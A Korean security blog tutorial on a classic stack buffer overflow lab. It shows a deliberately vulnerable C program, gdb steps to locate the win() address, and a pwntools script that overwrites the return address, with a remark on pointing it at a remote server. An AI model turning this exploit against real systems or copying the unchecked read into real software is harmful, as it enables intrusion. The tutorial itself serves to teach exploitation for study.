시스템 해킹 실습 -8 . Buffer OverFlow (버퍼 오버플로우) [2]

2024. 7. 21. 10:57Information Security 정보보안/Vulnerability Analysis 취약점 분석

728x90

 

배울내용:

버퍼 오버플로우 취약점

시스템 해킹

Buffer OverFlow

버퍼 오버플로우의 발생 원리

버퍼오버플로우 실습 

버퍼 오버플로우 방지 방법

메모리 취약점 

버퍼 오버플로우 파이썬 코드

 

 

 

 

 

 

 

 

 

기존에 버퍼 오버플로우 개념은 버퍼 오버플로우 1 에서 소개된다

아래의 링크와 같다

 

https://sarimus.tistory.com/138

 

시스템 해킹실습 - 1. Buffer OverFlow (버퍼 오버플로우)

배울내용:버퍼 오버플로우 취약점시스템 해킹Buffer OverFlow버퍼 오버플로우의 발생 원리버퍼오버플로우 실습 버퍼 오버플로우 방지 방법메모리 취약점버퍼 오버플로우 스택구조     취약점

sarimus.tistory.com

 

 

 

 

이번 포스팅은 위와 다르게 길이가 엄청 길때 파이썬 코드를(Pwntools) 작성하여 BOF 를 실행하는 방법으로 해볼것이다.

 

 

 

bof1.c

*
    gcc -O0 -fno-stack-protector -no-pie -o bof1 bof1.c
*/

#include <stdio.h>
#include <unistd.h>

void init(){
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}

void win(){
    printf("You Win!\n");
}

void main(){
    init();
    char buf[512] = {};
    printf("buf > ");
    read(0, buf, 1024);
    printf("Your Data : %s", buf);
}

 

이번에 코드를 보았을때는 win 함수를 출력해주면 되는것이다 .

바로 gdb 로 켜서 read 함수에 break point 를걸어보자 

 

 

 

 

b *main+110 으로 한다음 r (시작) 한다 

 

일단 win 함수로 이동하려면 win 함수의 주소를 알아야한다

간단하게 p win 하면 알수있다 그러면 win 함수의 주소는 0x4011dd 라는걸 알수있다 

 

 


이를 토대로 BOF 취약점을 이용해 저주소로 이동하게 할것이다.

 

 

그러면 이제 값을 넣을 buf 에는 stack 의 크기를 보면 바로 알수있다

 

 

 

HEX 가 200 이면 512 byte 니깐 buf 가 저위치에 있다는걸 한눈에 알수가 있다

그러면  이론상 Buf[512] 보다 많은 데이터를 넣어주면된다

 

 

x/gx 로 rbp-0x200 에 아무런 값이 안들어가있으니 ni 로 한단계진행후 AAAA 라는 값을 넣어보고 다시 실행해본다

 

 

 

 

그러면 200 의 값에 a41414141 의 값이 들어간걸 볼수가 있다 이후에 우리는 이전에 스택의 쌓이는 구조가

스택안 데이터는 낮은곳에서 높은곳으로 쌓인다 는걸 알수있다. 

 

여기서 해야 할 일은 다음과 같다:

  1. 버퍼 오버플로우를 통해 스택을 덮어쓴다.
  2. rbp-8 위치에 리턴 주소를 덮어쓴다.
  3. 리턴 주소에 0x4011dd를 넣어, 해당 함수가 호출되도록 한다.

이를 위해, 다음과 같은 순서로 작업할 수 있다:

  1. 버퍼의 크기 채우기: rbp-200 위치부터 -200까지 채워야 함.
  2. 리턴 주소 덮어쓰기: 총 208개의 바이트를 채운 후, rbp-8 위치에 리턴 주소를 넣는다.
| buffer (200 bytes) | padding (8 bytes) | return address (8 bytes) |
|--------------------|-------------------|--------------------------|

 

이제 어떻게 해야할지 다 파악이 됬으니 python 코드를 하나쓸거다

 


Pwntools 

 

 

 

 

pwntolol 을 visual code 로 열어서 사용할것이다.

먼저 code . 를 프롬프트창에 입력하여  visual studio code를 실행해주거나 설치가 안되있으면 설치하라는데로 명령어가 나오는데로 sudo install ... 해주면된다 

창이 열리게 되면 아래와 같이 작성을 한다 

 

 

from pwn import * 
p = process("./bof1")

print(p.recv(1024))
gdb.attach(p)
pause()

payload = b'' # payload start
payload += b'A' * 0x208 #make stack full (512) + sfp (8)
payload +=p64(0x4011dd) #  ret (8) <-- win addr


p.send(payload)
print(p.recv(1024))

pause()

 

현재는 로컬로 되어있어서 그냥 p = process("./bof1") 이지만 나중에 다른서버에 연결하려면

 p = remote (“IP ADDR” ,8888) 이렇게 하면된다 

ex) remote(“192.168.10.100”,8888)

 

 

 

python3 .bof1.py 를 입력하고 실행한뒤에 진행해보면

 

gdb.attach(p)

 

이것때문에 새로운 프롬프트 창뜨면서 gdb 가 실행되는데 이때 

c

 

c(Continue) 를 눌러 진행해주면 된다 

 

 

You Win 이 나오는걸 볼수있다 

 

 

이때 Win 의 함수주소는 0x4011dd 인걸아닌데 p64 는 자동으로 빅엔디안에서 리틀 엔디안으로 써주기떄문에 실제로는

앞에 A 로 채워준것(stack +SFP) + \xdd\x11\x40 이렇게 들어가게된다

 

 

 

그럼 위에 그림처럼 저렇게 들어가고 RET 함수가 오면 win 함수로 가는건데 어떻게 

 

 

 

40 은 어디 간건지 물을수있는데 이는 ASCII 코드를 생각하면 알수있다

 

 

 

 

ASCII 코드에선 dd 나 11 은 표현못해서 그대로 출력하지만 40은 @ 라는 모양이 있기때문에 print 했을때 저렇게 보여지게되고 그리고 RET 함수로 인해 You Win 의 함수가 실행되어 You Win 이 나오게 된다 .

 

 

728x90